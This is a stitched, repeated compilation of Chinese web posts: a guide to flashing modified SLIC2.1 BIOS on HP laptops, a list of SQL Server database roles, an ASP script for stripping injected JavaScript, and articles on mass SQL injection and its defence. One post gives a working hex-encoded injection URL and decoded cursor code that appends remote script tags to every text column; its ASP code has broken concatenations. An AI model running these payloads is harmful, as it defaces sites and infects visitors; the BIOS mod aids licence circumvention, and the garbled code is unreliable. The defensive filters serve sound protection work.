HP CQ35/CQ40/CQ60/CQ61/dv3/dv4/dv5/dv6全系列本本 SLIC2.1 BIOS分享
对于DV4、CQ45等机型,HP官网撤掉了F42版本BIOS,到驱动之家下载即可,SP43868。
如果你不知道你的CQ/DV本本应该使用哪个FD文件刷新,你下载回来的官方SP BIOS刷新文件中也有不止一个FD文件,那么你这样操作(这也是替换刷新的方法)——
1. 到官方网站或者驱动之家下载新版SP BIOS刷新文件,双击运行,等出现insyde的刷新界面后,不要点开始,也不要关闭;

2. 打开电脑系统盘program files/spxxxxx目录(也有部分是解压在系统盘根目录下swsetup文件夹,自己找),打开里面的 platform.ini,查看其中如下图中红框位置所示的FD文件名(图片中是以dv4刷新为例,看你自己的是多少),这个就是你要刷的FD文件,按照它的名字下载相应的修改好的FD文件,替换掉此目录中的相应FD文件,回到刷新界面继续刷新即可。

改好的SLIC2.1 BIOS下载地址,打开根据自己的 FD文件名找相应的下载(根据SP和FD文件名确定,文件说明中的机型仅作参考):
下载:http://www.uushare.com/user/lovegl/files/1856349
完毕电脑自动关机,稍等几分钟再开机。在WIN7(x86)下用SLIC_DUMP_Tools查看是否已经更新为SLIC2.1(x64系统安装RW-Everything) ,如果仍然是SLIC2.0,找个PE启动,在PE下用SLIC_DUMP_tools 1.03查看是否SLIC2.1。如果在PE下查看是SLIC2.1,而在WIN7下看到的是SLIC2.0,格式化引导区所在分区重装系统即可。
注意:刷新BIOS有风险,虽然这些FD文件都不止一个人刷新成功了,但并不能保证你百分之百的不出问题,刷新过程中最好装上电池插好交流电并保证刷新过程不会被非正常中断。
刷BIOS的一切后果由刷机人自己承担,如果不同意请勿下载刷新,谢谢合作。
对于DV4、CQ45等机型,HP官网撤掉了F42版本BIOS,到驱动之家下载即可,SP43868。
如果你不知道你的CQ/DV本本应该使用哪个FD文件刷新,你下载回来的官方SP BIOS刷新文件中也有不止一个FD文件,那么你这样操作(这也是替换刷新的方法)——
1. 到官方网站或者驱动之家下载新版SP BIOS刷新文件,双击运行,等出现insyde的刷新界面后,不要点开始,也不要关闭;
2. 打开电脑系统盘program files/spxxxxx目录(也有部分是解压在系统盘根目录下swsetup文件夹,自己找),打开里面的 platform.ini,查看其中如下图中红框位置所示的FD文件名(图片中是以dv4刷新为例,看你自己的是多少),这个就是你要刷的FD文件,按照它的名字下载相应的修改好的FD文件,替换掉此目录中的相应FD文件,回到刷新界面继续刷新即可。
改好的SLIC2.1 BIOS下载地址,打开根据自己的 FD文件名找相应的下载(根据SP和FD文件名确定,文件说明中的机型仅作参考):
下载:http://www.uushare.com/user/lovegl/files/1856349
完毕电脑自动关机,稍等几分钟再开机。在WIN7(x86)下用SLIC_DUMP_Tools查看是否已经更新为SLIC2.1(x64系统安装RW-Everything) ,如果仍然是SLIC2.0,找个PE启动,在PE下用SLIC_DUMP_tools 1.03查看是否SLIC2.1。如果在PE下查看是SLIC2.1,而在WIN7下看到的是SLIC2.0,格式化引导区所在分区重装系统即可。
注意:刷新BIOS有风险,虽然这些FD文件都不止一个人刷新成功了,但并不能保证你百分之百的不出问题,刷新过程中最好装上电池插好交流电并保证刷新过程不会被非正常中断。
刷BIOS的一切后果由刷机人自己承担,如果不同意请勿下载刷新,谢谢合作。
在SQL Server中除了定义用户之外,也定义了很多固定的角色(Role),其中之一就是数据库级的角色。固定的数据库级角色定义了在每个数据库中的角色类型。
db_accessadmin:该角色的成员可以添加和删除Windows的登陆账户、Windows组和SQL Server登陆账户的访问权限。
db_datareader:该角色的成员可以在当前数据库中读取所有用户表的数据,也就是拥有“READ”权限。
db_datawriter:该角色的成员可以在当前数据库中添加、删除和修改所有用户表的数据,也就是拥有“INSERT”、“DELETE”、“UPDATE”权限。
db_ddladmin:该角色的成员可以在当前数据库中运行数据定义语言(Data Definition Language, DDL)的命令。例如,添加、修改、删除数据表,视图、函数、存储过程等等。
db_denydatareader:该角色的成员不能在当前数据库中读取所有用户表的数据。
db_denydatawriter:该角色的成员不能在当前数据库中添加、删除和修改所有用户表的数据。
db_owner:该角色的成员可以在当前数据库中执行所有的配置和维护活动。
db_securityadmin:该角色的成员可以在当前数据库中修改角色的成员资格和管理权限。 但是,该角色的成员不可以在db_owner中添加成员,只有db_owner的成员才可以管理自己的成员。
db_backupoperator:该角色的成员可以备份当前数据库。
任何一个数据库用户都属于public数据库级角色。
db_accessadmin:该角色的成员可以添加和删除Windows的登陆账户、Windows组和SQL Server登陆账户的访问权限。
db_datareader:该角色的成员可以在当前数据库中读取所有用户表的数据,也就是拥有“READ”权限。
db_datawriter:该角色的成员可以在当前数据库中添加、删除和修改所有用户表的数据,也就是拥有“INSERT”、“DELETE”、“UPDATE”权限。
db_ddladmin:该角色的成员可以在当前数据库中运行数据定义语言(Data Definition Language, DDL)的命令。例如,添加、修改、删除数据表,视图、函数、存储过程等等。
db_denydatareader:该角色的成员不能在当前数据库中读取所有用户表的数据。
db_denydatawriter:该角色的成员不能在当前数据库中添加、删除和修改所有用户表的数据。
db_owner:该角色的成员可以在当前数据库中执行所有的配置和维护活动。
db_securityadmin:该角色的成员可以在当前数据库中修改角色的成员资格和管理权限。 但是,该角色的成员不可以在db_owner中添加成员,只有db_owner的成员才可以管理自己的成员。
db_backupoperator:该角色的成员可以备份当前数据库。
任何一个数据库用户都属于public数据库级角色。
前几日发了一篇数据库sql被挂马终极批量删除木马方法,虽然也可以起到批量删除木马的作用,但是如果被挂马字段特别多的话还是比较麻烦的。今天无意中在网上找到了一个高人写的asp批量删除木马的程序,功能很强大,你只需要把你的服务器IP、数据库名、用户名、密码和被挂马的字段填写上去,而后点击提交就可以批量清楚木马了,是不是迫不及待了。
用法:新建一个asp文件比如sql.asp,把上边代码复制进去上传到你的服务器空间里边,然后运行http://你的域名/sql.asp。填写参数开始查杀,是不是很方便。就是界面有点丑陋,你可以查看相关的css手册来美化一下收藏备用。
源文件:
<%Server.ScriptTimeout=999999999
Response.Buffer =true%>
<title>sql数据库清木马_100天网页设计网</title>
</head>
<style>
td{font-size:12px;}
.div{ border:1px #CCCCCC solid; padding:3px; margin:10px;}
.span{ height:20px; background-color:#CCCCCC; padding:3px;}
</style>
<body>
<p>
<%
if request.Form<>"" then
connstr="PROVIDER=SQLOLEDB;DATA SOURCE="&request("ip")";DATABASE="&request("database")";UID="&request("uname")";PWD="&request("pwd")""
'connstr=conn
set conn=server.CreateObject("adodb.Connection")
conn.open connstr
badstr=request("badstr")
select case request("type")
case "56"
str="int"
case "175"
str="char"
case "167"
str="varchar"
case "35"
str="text"
case "239"
str="nchar"
case "231"
str="nvarchar"
case "99"
str="ntext"
end select
select case request("bigclass")
case "char"
response.Write("<br><br><b>全部字符型字段:</b><br><br>")
set rs=conn.execute("SELECT dbo.syscolumns.name AS Column_name,dbo.sysobjects.name as tablename FROM dbo.syscolumns INNER JOIN dbo.sysobjects ON dbo.syscolumns.id = dbo.sysobjects.id WHERE dbo.sysobjects.name in (select [name] from sysobjects where xtype='U' and status <>0 and NOT (name LIKE 'dtproperties')) and dbo.syscolumns.xtype='"&request("type")"' ")
if not rs.eof then
do while not rs.eof
conn.execute("update ["&rs("tablename")"] set ["&rs("Column_name")"]=replace(["&rs("Column_name")"],'"&badstr"','')")
response.Write("<span class=span>"&rs("Column_name")"("&rs("tablename")") </span>")
rs.movenext
loop
end if
rs.close
set rs=nothing
case "text"
response.Write("<br><br><b>全部ntext字段:</b><br><br>")
set rs=conn.execute("SELECT dbo.syscolumns.name AS Column_name,dbo.sysobjects.name as tablename FROM dbo.syscolumns INNER JOIN dbo.sysobjects ON dbo.syscolumns.id = dbo.sysobjects.id WHERE dbo.sysobjects.name in (select [name] from sysobjects where xtype='U' and status <>0 and NOT (name LIKE 'dtproperties')) and dbo.syscolumns.xtype='"&request("type")"' ")
if not rs.eof then
do while not rs.eof
'conn.execute("update ["&rs("tablename")&"] set ["&rs("Column_name")&"]=replace(["&rs("Column_name")&"],'"&badstr&"','')")
conn.execute("update ["&rs("tablename")"] set ["&rs("Column_name")"] =replace(cast(["&rs("Column_name")"] as varchar(8000)),'"&badstr"','')")
response.Write("<span class=span>"&rs("Column_name")"("&rs("tablename")") </span>")
rs.movenext
loop
end if
rs.close
set rs=nothing
end select
end if
%>
</p>
<%if request("ip")="" then
ip="127.0.0.1"
else
ip=request("ip")
end if
if request("datebase")="" then
datebase="dbname"
else
datebase=request("datebase")
end if
if request("uname")="" then
uname="uname"
else
uname=request("uname")
end if
if request("pwd")="" then
pwd="123456"
else
pwd=request("pwd")
end if
if request("badstr")="" then
badstr="<script src=http://3b3.org/c.js></script>"
else
badstr=request("badstr")
end if
%>
<form id="form1" name="form1" method="post" action="">
<table width="600" border="0" cellspacing="0" cellpadding="0">
<tr>
<td height="25">服务ip:</td>
<td height="25"><input type="text" name="ip" style="width:200px;" value="<%=ip%>"/></td>
</tr>
<tr>
<td height="25">数据库</td>
<td height="25"><input type="text" name="datebase" style="width:200px;" value="<%=datebase%>"/></td>
</tr>
<tr>
<td height="25">用户名</td>
<td height="25"><input type="text" name="uname" style="width:200px;" value="<%=uname%>"/></td>
</tr>
<tr>
<td height="25">密码</td>
<td height="25"><input type="text" name="pwd" style="width:200px;" value="<%=pwd%>"/></td>
</tr>
<tr>
<td height="25">特征码</td>
<td height="25"><label>
<input type="text" name="badstr" style="width:500px;" value="<%=badstr%>"/>
</label></td>
</tr>
<tr>
<td width="74" height="25">选择类型</td>
<td width="526" height="25">
<select name="bigclass">
<option value="char">字符型</option>
<option value="text">文本型</option>
</select> </td>
</tr>
<tr>
<td width="74" height="25">数据类型</td>
<td width="526" height="25">
<select name="type">
<option value="175">char</option>
<option value="167">varchar</option>
<option value="35">text</option>
<option value="239">nchar</option>
<option value="231">nvarchar</option>
<option value="99">ntext</option>
</select> </td>
</tr>
<tr>
<td width="74" height="25"> </td>
<td width="526" height="25"><label>
<input type="submit" name="Submit" value="提交" />
</label></td>
</tr>
</table>
</form>
<p> </p>
<table width="307" border="0" cellspacing="0" cellpadding="0">
<tr>
<td height="20">字段类型</td>
<td height="20">xtype</td>
</tr>
<tr>
<td width="120" height="20">int</td>
<td width="187" height="20">56</td>
</tr>
<tr>
<td height="20">char</td>
<td height="20">175</td>
</tr>
<tr>
<td height="20">varchar</td>
<td height="20">167</td>
</tr>
<tr>
<td height="20">text</td>
<td height="20">35</td>
</tr>
<tr>
<td height="20">nchar</td>
<td height="20">239</td>
</tr>
<tr>
<td height="20">nvarchar</td>
<td height="20">231</td>
</tr>
<tr>
<td height="20">ntext</td>
<td height="20">99</td>
</tr>
</table>
<p>清楚text ntext</p>
<p> update 表名 set content =replace(cast(content as varchar(8000)),'特征码','')</p>
</body>
</html>
用法:新建一个asp文件比如sql.asp,把上边代码复制进去上传到你的服务器空间里边,然后运行http://你的域名/sql.asp。填写参数开始查杀,是不是很方便。就是界面有点丑陋,你可以查看相关的css手册来美化一下收藏备用。
源文件:
<%Server.ScriptTimeout=999999999
Response.Buffer =true%>
<title>sql数据库清木马_100天网页设计网</title>
</head>
<style>
td{font-size:12px;}
.div{ border:1px #CCCCCC solid; padding:3px; margin:10px;}
.span{ height:20px; background-color:#CCCCCC; padding:3px;}
</style>
<body>
<p>
<%
if request.Form<>"" then
connstr="PROVIDER=SQLOLEDB;DATA SOURCE="&request("ip")";DATABASE="&request("database")";UID="&request("uname")";PWD="&request("pwd")""
'connstr=conn
set conn=server.CreateObject("adodb.Connection")
conn.open connstr
badstr=request("badstr")
select case request("type")
case "56"
str="int"
case "175"
str="char"
case "167"
str="varchar"
case "35"
str="text"
case "239"
str="nchar"
case "231"
str="nvarchar"
case "99"
str="ntext"
end select
select case request("bigclass")
case "char"
response.Write("<br><br><b>全部字符型字段:</b><br><br>")
set rs=conn.execute("SELECT dbo.syscolumns.name AS Column_name,dbo.sysobjects.name as tablename FROM dbo.syscolumns INNER JOIN dbo.sysobjects ON dbo.syscolumns.id = dbo.sysobjects.id WHERE dbo.sysobjects.name in (select [name] from sysobjects where xtype='U' and status <>0 and NOT (name LIKE 'dtproperties')) and dbo.syscolumns.xtype='"&request("type")"' ")
if not rs.eof then
do while not rs.eof
conn.execute("update ["&rs("tablename")"] set ["&rs("Column_name")"]=replace(["&rs("Column_name")"],'"&badstr"','')")
response.Write("<span class=span>"&rs("Column_name")"("&rs("tablename")") </span>")
rs.movenext
loop
end if
rs.close
set rs=nothing
case "text"
response.Write("<br><br><b>全部ntext字段:</b><br><br>")
set rs=conn.execute("SELECT dbo.syscolumns.name AS Column_name,dbo.sysobjects.name as tablename FROM dbo.syscolumns INNER JOIN dbo.sysobjects ON dbo.syscolumns.id = dbo.sysobjects.id WHERE dbo.sysobjects.name in (select [name] from sysobjects where xtype='U' and status <>0 and NOT (name LIKE 'dtproperties')) and dbo.syscolumns.xtype='"&request("type")"' ")
if not rs.eof then
do while not rs.eof
'conn.execute("update ["&rs("tablename")&"] set ["&rs("Column_name")&"]=replace(["&rs("Column_name")&"],'"&badstr&"','')")
conn.execute("update ["&rs("tablename")"] set ["&rs("Column_name")"] =replace(cast(["&rs("Column_name")"] as varchar(8000)),'"&badstr"','')")
response.Write("<span class=span>"&rs("Column_name")"("&rs("tablename")") </span>")
rs.movenext
loop
end if
rs.close
set rs=nothing
end select
end if
%>
</p>
<%if request("ip")="" then
ip="127.0.0.1"
else
ip=request("ip")
end if
if request("datebase")="" then
datebase="dbname"
else
datebase=request("datebase")
end if
if request("uname")="" then
uname="uname"
else
uname=request("uname")
end if
if request("pwd")="" then
pwd="123456"
else
pwd=request("pwd")
end if
if request("badstr")="" then
badstr="<script src=http://3b3.org/c.js></script>"
else
badstr=request("badstr")
end if
%>
<form id="form1" name="form1" method="post" action="">
<table width="600" border="0" cellspacing="0" cellpadding="0">
<tr>
<td height="25">服务ip:</td>
<td height="25"><input type="text" name="ip" style="width:200px;" value="<%=ip%>"/></td>
</tr>
<tr>
<td height="25">数据库</td>
<td height="25"><input type="text" name="datebase" style="width:200px;" value="<%=datebase%>"/></td>
</tr>
<tr>
<td height="25">用户名</td>
<td height="25"><input type="text" name="uname" style="width:200px;" value="<%=uname%>"/></td>
</tr>
<tr>
<td height="25">密码</td>
<td height="25"><input type="text" name="pwd" style="width:200px;" value="<%=pwd%>"/></td>
</tr>
<tr>
<td height="25">特征码</td>
<td height="25"><label>
<input type="text" name="badstr" style="width:500px;" value="<%=badstr%>"/>
</label></td>
</tr>
<tr>
<td width="74" height="25">选择类型</td>
<td width="526" height="25">
<select name="bigclass">
<option value="char">字符型</option>
<option value="text">文本型</option>
</select> </td>
</tr>
<tr>
<td width="74" height="25">数据类型</td>
<td width="526" height="25">
<select name="type">
<option value="175">char</option>
<option value="167">varchar</option>
<option value="35">text</option>
<option value="239">nchar</option>
<option value="231">nvarchar</option>
<option value="99">ntext</option>
</select> </td>
</tr>
<tr>
<td width="74" height="25"> </td>
<td width="526" height="25"><label>
<input type="submit" name="Submit" value="提交" />
</label></td>
</tr>
</table>
</form>
<p> </p>
<table width="307" border="0" cellspacing="0" cellpadding="0">
<tr>
<td height="20">字段类型</td>
<td height="20">xtype</td>
</tr>
<tr>
<td width="120" height="20">int</td>
<td width="187" height="20">56</td>
</tr>
<tr>
<td height="20">char</td>
<td height="20">175</td>
</tr>
<tr>
<td height="20">varchar</td>
<td height="20">167</td>
</tr>
<tr>
<td height="20">text</td>
<td height="20">35</td>
</tr>
<tr>
<td height="20">nchar</td>
<td height="20">239</td>
</tr>
<tr>
<td height="20">nvarchar</td>
<td height="20">231</td>
</tr>
<tr>
<td height="20">ntext</td>
<td height="20">99</td>
</tr>
</table>
<p>清楚text ntext</p>
<p> update 表名 set content =replace(cast(content as varchar(8000)),'特征码','')</p>
</body>
</html>
SQL Server数据库批量注入,疯狂挂马
2009-04-07 17:29
在形如http://www.xxxx.com/P_info.aspx?id=1001的注入点提交:
http://www.xxxx.com/P_info.aspx?id=1001;DECLARE @S VARCHAR(4000);
SET @S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F68692E62616964752E636F6D2F7375706B6F2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS VARCHAR(4000));
EXEC(@S);--
就可以把插入所有的文本字段。
0x4445434C415245204054205641524348.........为16进制代码,它是批量注入的核心代码如下所示:
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://hi.baidu.com/supko/b.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
注:译码后的结果是不断行的,这里断行,是为了便于查看。
我不提倡进行这样的攻击,毕竟管理员清理起来非常痛苦- -!
2009-04-07 17:29
在形如http://www.xxxx.com/P_info.aspx?id=1001的注入点提交:
http://www.xxxx.com/P_info.aspx?id=1001;DECLARE @S VARCHAR(4000);
SET @S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F68692E62616964752E636F6D2F7375706B6F2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS VARCHAR(4000));
EXEC(@S);--
就可以把插入所有的文本字段。
0x4445434C415245204054205641524348.........为16进制代码,它是批量注入的核心代码如下所示:
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://hi.baidu.com/supko/b.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
注:译码后的结果是不断行的,这里断行,是为了便于查看。
我不提倡进行这样的攻击,毕竟管理员清理起来非常痛苦- -!
这阵子,采用ASP+MSSQL设计的很多网站可能遭遇到sql数据库被挂马者插入JS木马的经历;这不,朋友的一个网站就被黑客忽悠了一把,mssql的每个varchar、text字段都被自动插入一段js代码,即使删除这段代码,如果没有从源头上解决,几分钟后,js代码就又会自动插入数据库。
经过飘易的观察,这很有可能是程序自动执行的,黑客先从搜索引擎google、百度等搜索存在漏洞的采用asp+mssql设计的网站,然后采用小明子这样的注入扫描工具,扫描整个网站,一旦发现有sql注入的漏洞或者上传漏洞,黑客就通过各种手段,上传自己的大马,如海阳木马;然后,黑客就把这个网站纳入他的肉鸡列表,随时在数据库里加入自己希望加的js代码,而这些代码往往是包含着众多的的病毒、木马,最终让访问受控网站的用户的电脑中毒。
虽然,可以通过sql查询分析器执行批量代换,暂时解决被插入的js代码问题,然而不从根本上解决整个网站存在的漏洞,包括程序上和服务器安全权限,那么黑客还是随时可以入侵你的网站数据库。
在sql查询分析器里可以执行以下的代码批量替换js代码:
flymorn仔细检查了网站,发现网站存在几个安全问题:
第一,网站存在上传漏洞;虽然,上传文件需要管理员身份验证,也对上传文件进行了文件格式的认证,但管理员身份验证采用了cookies,而cookies是可以被伪造的,而且如果上传了图片后,不对该文件的内容采取任何判断的话,那么图片木马也很有可能被上传。
flymorn的解决措施:1 删除上传文件功能(不太实际);2 修改上传用户验证为session验证;3 对上传后的文件内容进行验证,如果是图片木马,则删除;可以参考以下的验证代码:
''===============判断上传文件是否含非法字符串start================
set MyFile = server.CreateObject("Scripting.FileSystemObject")
set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) '读取文本文件
sTextAll = lcase(MyText.ReadAll)
MyText.close
set MyFile = nothing
sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language="
sNoString = split(sStr,"|")
for i=0 to ubound(sNoString)
if instr(sTextAll,sNoString(i)) then
set filedel = server.CreateObject("Scripting.FileSystemObject")
filedel.deletefile Server.mappath(filePath)
set filedel = nothing
Response.Write("<script>alert('您上传的文件有问题,上传失败!');history.back();</script>")
Response.End
end if
next
''=================判断上传文件是否含非法字符串end===================
第二,网站存在cookies注入漏洞。由于程序设计中,为了考虑到减小服务器的开销,所有用户登陆后采用cookies验证,这个cookies里保存了用户的 ID 和 NAME ,而众所周知,cookies是经常被黑客伪造的,这是其一;另外,某些外部参数 没有采用严格的 request.form 和 request.querystring 来获取内容,为了简便,采用了 request("id") 这样的方式。
我们知道,ASP 的request 是先从form、querystring里获取内容,如果这两个为空,则要从cookies里获取内容,大家往往在程序设计中考虑到了 request.form 和 request.querystring 的SQL注入,所以一般都会过滤 request.form 和 request.querystring进行sql注入;但却偏偏忘了过滤cookies方式下的注入。我们来看下下面这样的sql语句:
SQL="select * from 表名 where id="&request("id")
如果这个 id 恰巧是通过cookies来获取值的,那么想想,这是一件多么可怕的事啊!注入者可以轻松的伪造一个名为 id 的虚假 cookies ,因为这个 id 的cookies 是服务器分配给客户端的。这个cookies可以被伪造成类似下面这样的一段代码:
dEcLaRe @s vArChAr(4000);sEt @s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 IT人才网(http://it.ad0.cn) 12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694www.ad0.cn43d622e6
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0a aS vArChAr(4000));exec(@s);--
看晕了吧。这是利用HEX的方式进行SQL注入,可以绕过一般的IDS验证,只要系统存在SQL注入,上面的代码将会被执行,通过游标遍历数据库中的所有表和列并在列中插入js代码。
飘易采取的解决办法:1 严格过滤 request.form 和 request.querystring 获取的内容,坚决不用 request("name") 这样的方式获取值,凡是采用 cookies 保存的内容,尽量不要用在sql语句里进行查询数据库操作;2 重要的用户资料尽量采用 session 验证,因为session是服务器端的,客户端无法伪造数据,除非他有你服务器的权限。
可以采用以下的防范 get 、post以及cookies 注入的代码来过滤 sql 注入攻击:
<%
Response.Buffer = True '缓存页面
'防范get注入
If Request.QueryString <> "" Then StopInjection(Request.QueryString)
'防范post注入
If Request.Form <> "" Then StopInjection(Request.Form)
'防范cookies注入
If Request.Cookies <> "" Then StopInjection(Request.Cookies)
'正则子函数
Function StopInjection(Values)
Dim regEx
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern = "'|;|#|([\s\b+()]+([email=select%7Cupdate%7Cinsert%7Cdelete%7Cdeclare%7C@%7Cexec%7Cdbcc%7Calter%7Cdrop%7Ccreate%7Cbackup%7Cif%7Celse%7Cend%7Cand%7Cor%7Cadd%7Cset%7Copen%7Cclose%7Cuse%7Cbegin%7Cretun%7Cas%7Cgo%7Cexists)[/s/b]select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b[/email]+]*)"
Dim sItem, sValue
For Each sItem In Values
sValue = Values(sItem)
If regEx.Test(sValue) Then
Response.Write "<Script Language=javascript>alert('非法注入!你的行为已被记录!!');history.back(-1);</Script>"
Response.End
End If
Next
Set regEx = Nothing
End function
%>
把以上的代码另存为一个文件,如 antisql.asp ,然后在数据库连接文件开头包含这个文件 ,就可以实现全站的防范 sql 注入的攻击了。
第三,严格过滤外部提交数据。判断提交页面的来源,如果不是当前站点,则拒绝提交。可以参考以下的代码,虽然来源网址可以伪造,但有这样的判断,毕竟可以阻挡那些没有技术含量的恶意提交:
<%''判断来源,禁止外部提交
dim server_v1,server_v2
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
if server_v1="" or instr(server_v1,"发表页面名")<=0 or mid(server_v1,8,len(server_v2))<>server_v2 then
response.write "<SCRIPT language=JavaScript>alert('来源非法,禁止外部提交!');"
response.write "this.location.href='vbscript:history.back()';</SCRIPT>"
response.end
end if%>
第四,做好服务器权限的分配。对于数据库的权限,尽量分配最小的权限给用户使用,如果把sa或管理员的权限分下来,一旦被攻击沦陷,这将是一个毁灭性的打击。mssql 的1433端口,飘易建议不用的时候,最好关闭。
总之,安全问题是一个综合的问题,一个小的细节,可能让你的几个月甚至几年的心血付之东流。我们不仅要从程序上着手每个细节,而且要仔细做好服务器的安全工作,对于虚拟主机的用户,还要防范服务器上的跨站攻击。细节决定成败。
经过飘易的观察,这很有可能是程序自动执行的,黑客先从搜索引擎google、百度等搜索存在漏洞的采用asp+mssql设计的网站,然后采用小明子这样的注入扫描工具,扫描整个网站,一旦发现有sql注入的漏洞或者上传漏洞,黑客就通过各种手段,上传自己的大马,如海阳木马;然后,黑客就把这个网站纳入他的肉鸡列表,随时在数据库里加入自己希望加的js代码,而这些代码往往是包含着众多的的病毒、木马,最终让访问受控网站的用户的电脑中毒。
虽然,可以通过sql查询分析器执行批量代换,暂时解决被插入的js代码问题,然而不从根本上解决整个网站存在的漏洞,包括程序上和服务器安全权限,那么黑客还是随时可以入侵你的网站数据库。
在sql查询分析器里可以执行以下的代码批量替换js代码:
update 表名 set 字段名=replace(字段名,'<Script Src=http://c.n%75clear3.com/css/c.js></Script>','')
flymorn仔细检查了网站,发现网站存在几个安全问题:
第一,网站存在上传漏洞;虽然,上传文件需要管理员身份验证,也对上传文件进行了文件格式的认证,但管理员身份验证采用了cookies,而cookies是可以被伪造的,而且如果上传了图片后,不对该文件的内容采取任何判断的话,那么图片木马也很有可能被上传。
flymorn的解决措施:1 删除上传文件功能(不太实际);2 修改上传用户验证为session验证;3 对上传后的文件内容进行验证,如果是图片木马,则删除;可以参考以下的验证代码:
''===============判断上传文件是否含非法字符串start================
set MyFile = server.CreateObject("Scripting.FileSystemObject")
set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) '读取文本文件
sTextAll = lcase(MyText.ReadAll)
MyText.close
set MyFile = nothing
sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language="
sNoString = split(sStr,"|")
for i=0 to ubound(sNoString)
if instr(sTextAll,sNoString(i)) then
set filedel = server.CreateObject("Scripting.FileSystemObject")
filedel.deletefile Server.mappath(filePath)
set filedel = nothing
Response.Write("<script>alert('您上传的文件有问题,上传失败!');history.back();</script>")
Response.End
end if
next
''=================判断上传文件是否含非法字符串end===================
第二,网站存在cookies注入漏洞。由于程序设计中,为了考虑到减小服务器的开销,所有用户登陆后采用cookies验证,这个cookies里保存了用户的 ID 和 NAME ,而众所周知,cookies是经常被黑客伪造的,这是其一;另外,某些外部参数 没有采用严格的 request.form 和 request.querystring 来获取内容,为了简便,采用了 request("id") 这样的方式。
我们知道,ASP 的request 是先从form、querystring里获取内容,如果这两个为空,则要从cookies里获取内容,大家往往在程序设计中考虑到了 request.form 和 request.querystring 的SQL注入,所以一般都会过滤 request.form 和 request.querystring进行sql注入;但却偏偏忘了过滤cookies方式下的注入。我们来看下下面这样的sql语句:
SQL="select * from 表名 where id="&request("id")
